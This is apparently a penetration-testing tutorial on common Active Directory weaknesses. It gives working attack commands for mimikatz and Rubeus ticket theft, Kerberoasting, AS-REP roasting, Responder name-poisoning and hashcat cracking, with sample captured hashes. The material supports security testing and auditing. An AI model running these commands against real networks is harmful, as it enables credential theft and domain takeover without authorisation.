Today, many organizations and businesses globally rely on Active Directory as a central management solution for overseeing their resources. However, like any sophisticated technology, Active Directory is inherently complex, and securing it demands substantial effort and extensive experience.
This article offers practical guidance on conducting penetration tests in Active Directory environments. It includes a list of the most prevalent AD vulnerabilities and common misconfigurations to look out for.
Introduction
The following information is designed to assist penetration testers and auditors in identifying common security issues associated with administering Active Directory environments.
It provides practical steps on how to detect each vulnerability from a penetration tester’s perspective, utilizing standard offensive toolkits and readily available tools.
For every vulnerability you discover, you will earn a new piece of the hacking wall.
0. Users having rights to add computers to domain
In a default Active Directory installation, any domain user has the ability to add workstations to the domain. This is controlled by the ms-DS-MachineAccountQuota attribute, which is set to 10 by default.
This setting permits any low-privileged domain user to join up to 10 computers to the domain. While this might not seem problematic at first glance, it poses significant security risks:
- Unmanaged Devices: Users can add their own, unmanaged computers to the corporate domain.
- No Security Controls: These devices will not have corporate Antivirus or Endpoint Detection and Response (EDR) solutions installed.
- Lack of Policies: Corporate Group Policy Objects (GPOs) and other security policies will not be applied to these systems.
- Administrative Rights: Users will have administrative rights on these personal devices, granting them significant control and potential for misuse.
In corporate environments, users should never have local administrative privileges on their machines. This is a fundamental security control that should be applied universally.
When users have administrative privileges, they can carry out privileged operations on the network, such as crafting raw network packets, performing network scans, and running exploits to attack other systems. These capabilities pose significant security risks.
How to check
We can use Netexectool or NetWrappertool with this commands :
| nxc ldap <ip> -u user -p pass -M maq OR netwrapper ldap <ip> -u user -p pass -M maq |
How to Add machines
The easiest way to test this is by using a Windows test machine, either physical or virtual, connected to the target corporate network to ensure it can reach the domain controllers.
In the the new machine, open powershell and use this command.
| add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force Example : add-computer –domainname HxH.local -Credential hxh\hanzo -restart –force |
After restarting the test machine, it should be fully joined to the domain. This will allow you to confirm that the machine has successfully integrated into the corporate network as a domain member, enabling further testing and analysis.
Now, we can verify that our computer has indeed been added to the domain by listing the domain computers. This can be done using tools such as the Active Directory Users and Computers (ADUC) console or command-line utilities like net group or dsquery. This step ensures that the machine is recognized as a domain member within the corporate network.
1. Weak Kerberos Delegation (Unconstrained Delegation)
What is it?
In Active Directory, Kerberos delegation allows a service to impersonate users to access other services on their behalf. By default,some servers are configured with “Unconstrained Delegation,”meaning they can impersonate ANY user, including high-privileged accounts like Domain Admins.
This means that if an attacker compromises a machine with unconstrained delegation, they can steal Kerberos tickets (TGTs) and use them to escalate privileges and move laterally in the network.
Why is it dangerous?
- Credential Theft: Attackers can extract Kerberos tickets and use them to impersonate users.
- Privilege Escalation: If a Domain Controller (DC) has unconstrained delegation enabled, an attacker could take over the entire domain.
- Lateral Movement: An attacker can use stolen tickets to move between different machines without needing passwords.
How to check
We can use PowerShell or tools like PowerView to check for computers with unconstrained delegation.
Using PowerShell :
| Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
Using PowerView :
| Get-DomainComputer -Unconstrained |
How to exploit it ?
If we compromise a machine with unconstrained delegation, we can steal TGTs(Kerberos Tickets) from any user that logs into it.
Step 1 : Steal Tickets
If you have SYSTEM access on a vulnerable machine, run:
| Rubeus dump or mimikatz “privilege::debug” “sekurlsa::tickets /export” |
This will extract TGTs that we can use to impersonate other users.
Step 2 : Use the Ticket to Impersonate a User
| Rubeus ptt /ticket:TGT_Administrator@DOMAIN.kirbi or mimikatz “kerberos::ptt TGT_Administrator@DOMAIN.kirbi” |
Now, you are logged in as the admin without knowing the password!
2. Kerberoasting – Stealing Service Account Passwords
What is it?
Kerberoasting is an attack that targets service accounts in Active Directory. These accounts are linked to SPNs (Service Principal Names) and can have weak passwords.
Attackers can request a Kerberos Ticket (TGS) for a service and crack it offline to recover the plaintext password of the service account.
The scary part? No need for admin privileges – ANY domain user can do it!
Why is it dangerous?
- No Need for Admin Access – Any domain user can request service tickets.
- Offline Cracking – Once an attacker gets the ticket, it can be cracked offline, making detection harder.
- Privilege Escalation – Many service accounts have high privileges, sometimes even Domain Admin!
How to Check if a Domain is Vulnerable?
We need to list service accounts that are Kerberoastable.
PowerShell :
| Get-ADUser -Filter {ServicePrincipalName -ne “$null”} -Properties ServicePrincipalName |
This command shows all user accounts linked to a service (SPN) – these are the targets for Kerberoasting.
| Get-DomainUser -SPN |
How to Exploit it?
If we have a normal user account in the domain, we can request a service ticket and crack it offline.
Step 1: Request Service Tickets
Using Rubeus:
| Rubeus kerberoast /format:hashcat |
or
PowerShell:
| Request-SPNTicket -UserName -Format Hashcat |
This gives us a hashed password (TGS-REP hash).
Step 2 : Crack the Hash Offline
Now, use Hashcat to brute-force the password:
| hashcat -m 13100 service_ticket_hash.txt rockyou.txt –force |
If the password is weak, we now have access to the service account!
3. AS-REP Roasting – Cracking Passwords Without Even Logging In!
What is it ?
AS-REP Roasting is an Active Directory attack that allows attackers to steal password hashes for accounts that have “Do not require Kerberos pre-authentication“ enabled.
Why ?
Normally, when a user tries to authenticate with Kerberos, the KDC (Key Distribution Center) asks for a timestamp encrypted with the user’s password (Pre-Authentication).
👉 But if Pre-Auth is disabled, the KDC just hands over an encrypted ticket (AS-REP) when asked.
👀 The problem? That ticket is encrypted using the user’s NTLM hash → We can brute-force it offline!
Why is it dangerous?
- No Need for Domain Access – Even an external attacker can exploit it if they have a valid username list.
- No Login Required – The target doesn’t need to be online; we just request an AS-REP from the domain controller.
- Offline Cracking – Once we have the hash, we brute-force it without alerting the system.
How to Check if a Domain is Vulnerable?
We need to list accounts that have Pre-Auth disabled.
Using PowerShell :
| Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
If this returns users, the domain is vulnerable!
Using BloodHound/PowerView:
| Get-DomainUser -PreAuthNotRequired |
How to Exploit it?
Step 1: Request an AS-REP Hash
If an account has Pre-Auth disabled, we can request an AS-REP hash.
Using Impacket’s GetNPUsers:
| python3 GetNPUsers.py pentest.local/ -usersfile users.txt -dc-ip 10.10.10.1 |
Example Output (Stolen Hash) :
| $krb5asrep$23$john@PENTEST.LOCAL:248cd3d7c0bcd57dc6712c07c3a731bc… |
This is the password hash we need to crack!
Step 2: Crack the Hash
Now, let’s brute-force the password using Hashcat.
| hashcat -m 18200 asrep_hash.txt rockyou.txt –force |
Example Cracked Password Result:
| $krb5asrep$23$john@PENTEST.LOCAL:248cd3d7c0bcd57dc6712c07c3a731bc… →Password123 |
Boom! We cracked the password!
Now we can log in as John and escalate further.
4. LLMNR & NBT-NS Poisoning – Catching NTLM Hashes Like Pokémon!
What is it?
In Windows networks, when a machine can’t resolve a name using DNS, it falls back to other name resolution methods like:
- LLMNR (Link-Local Multicast Name Resolution)
- NBT-NS (NetBIOS Name Service)
- mDNS (Multicast DNS)
- WPAD (Web Proxy Auto-Discovery)
⚠️ These are legacy protocols and they’re often enabled by default.
👀 The problem? If an attacker is on the same network, they can pretend to be the machine you’re looking for — and the victim automatically sends you their NTLM hash.
Why is it dangerous?
- Users leak credentials without doing anything — just opening Word or mistyping a file path can trigger it.
- You get NTLMv2 hashes — which can be cracked offline.
- Combined with NTLM Relay, this becomes a domain takeover machine.
💣 Real-life Example
Imagine a user tries to open:
| \filesrver\share |
(typo: should be fileserver)
💡 Their machine thinks, “Hmm… DNS didn’t resolve this, let’s ask the LAN.”
You’re on the LAN with Responder running →
You yell: “Hey! I’m filesrver!”
They believe you and send their NTLMv2 hash
How to Exploit It ?
Step 1 : Run Responder
| responder -I eth0 -rdwv |
✅ Flags:
-r: Respond to NetBIOS name queries-d: Respond to LLMNR-w: WPAD capture-v: Verbose mode
📦 You’ll see something like:
| [LLMNR] Received Name Query for FILESRVER [SMB] NTLMv2-SSP Client: WIN10-PC [SMB] Username: DOMAIN\johndoe [SMB] Hash captured: $NETNTLMv2$DOMAIN\johndoe::1122334455667788:5566778899AABBCC… |
💾 The hash is saved in:
| /usr/share/responder/logs/ |
Step 2 : Crack the Hash Offline
Now, use Hashcatto crack it:
| hashcat -m 5600 captured_hash.txt rockyou.txt –force |
💥 Example cracked result:
| $NETNTLMv2$DOMAIN\johndoe::… → Password123! |
You now have valid domain creds. Game on.
